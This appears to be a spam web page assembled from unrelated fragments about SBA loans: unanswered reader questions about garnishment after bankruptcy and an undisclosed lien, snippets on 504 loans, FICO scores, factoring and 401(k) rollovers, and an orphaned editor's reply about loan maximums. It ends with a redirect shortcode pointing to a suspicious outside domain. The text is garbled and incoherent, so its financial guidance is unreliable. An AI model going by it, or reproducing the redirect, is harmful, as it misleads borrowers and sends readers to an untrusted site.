I had a SBA loan in 2009, due to economical and hardship situations I couldn’t pay it and I close the business. I finally decided to file for Bankruptcy Chapter 7 last year (2012) and my case was discharged. I recently filed my taxes and I received a letter from IRS stating that SBA is garnishing my money. What should I do? Thank you in advance for your advice.
All 504 loans are fixed-rate, so you don’t have to worry about your interest rate suddenly going up. The loans come with a fee, which can be financed with the loan, spreading it out over a longer period.

We bought a house in NH in May 2010 and are in the process of refinancing it (in Sept 2012). In going thru the refi process, we found out that the seller of our house had taken a SBA loan, using our current house as collateral. Seems like the Title and the Closing company completely missed on this lien. We do have Title Insurance for the house. What are my options?
The image below shows how your FICO score is created and what importance is placed on each issue. If you think you can improve on any of these areas in a few months, you may even consider delaying your loan application until your score improves.
You may qualify for an SBA Military Reservist Economic Injury Loan if an essential employee is called for active military duty and the loss results in an inability to meet normal operating expenses. If the business is already covered by key man insurance or other business interruption insurance, the amount of the loan will reduce by the amount of coverage.
Factoring is a finance method where a company sells its receivables at a discount to get cash up-front. It’s often used by companies with poor credit or by businesses such as apparel manufacturers, which have to fill orders long before they get paid. However, it’s an expensive way to raise funds. Companies selling receivables generally pay a fee that’s a percentage of the total amount. If you pay a 2 percent fee to get funds 30 days in advance, it’s equivalent to an annual interest rate of about 24 percent. For that reason, the business has gotten a bad reputation over the years. That said, the economic downturn has forced to look to alternative financing methods and companies like The Receivables Exchange are trying to make factoring more competitive. The exchange allows companies to offer their receivables to dozens of factoring companies at once, along with hedge funds, banks, and other finance companies. These lenders will bid on the invoices, which can be sold in a bundle or one at a time.

If you’re unemployed and thinking about starting your own business, those funds you’ve accumulated in your 401(k) over the years can look pretty tempting. And thanks to provisions in the tax code, you actually can tap into them without penalty if you follow the right steps. The steps are simple enough, but legally complex, so you’ll need someone with experience setting up a C corporation and the appropriate retirement plan to roll your retirement assets into. Remember that you’re investing your retirement funds, which means if things don’t pan out, not only do you lose your business, but your nest egg, too.
Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
SBA loans are backed by the U.S. Small Business Administration and issued by participating lenders, mostly banks. They are coveted by small business owners because they come with low rates and flexible terms.
Your personal credit score ranges from 300 to 850 (the higher, the better), and evaluates your ability to repay your personal debts, such as credit cards, car loans and a mortgage. The FICO score, commonly used in lending decisions, is based on five factors: your payment history (35% of your score), the amounts owed on credit cards and other debt (30%), how long you’ve had credit (15%), types of credit in use (10%) and recent credit inquiries (10%). Small-business lenders require a personal credit score for loan applications because they want to see how you manage debt.

Thanks for pointing this out in an effort to help. However, we state in the opening section that a 504 loan goes up to $20 million, which is what we believe they typically max out at with most lenders. However, in order to get to these loan sizes you’ll likely have to have some experience with the lender. In the 504 section below that we put $14 million in there because this is the max loan for brand new borrowers from the recommended provider we point you to. If instead you’re referring to the $5 million debenture you’re forgetting about the CDC portion of the loan, and the portion of the loan a lender is willing to lend above and beyond the SBA debenture. There are no project maximums for SBA 504 loans. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]
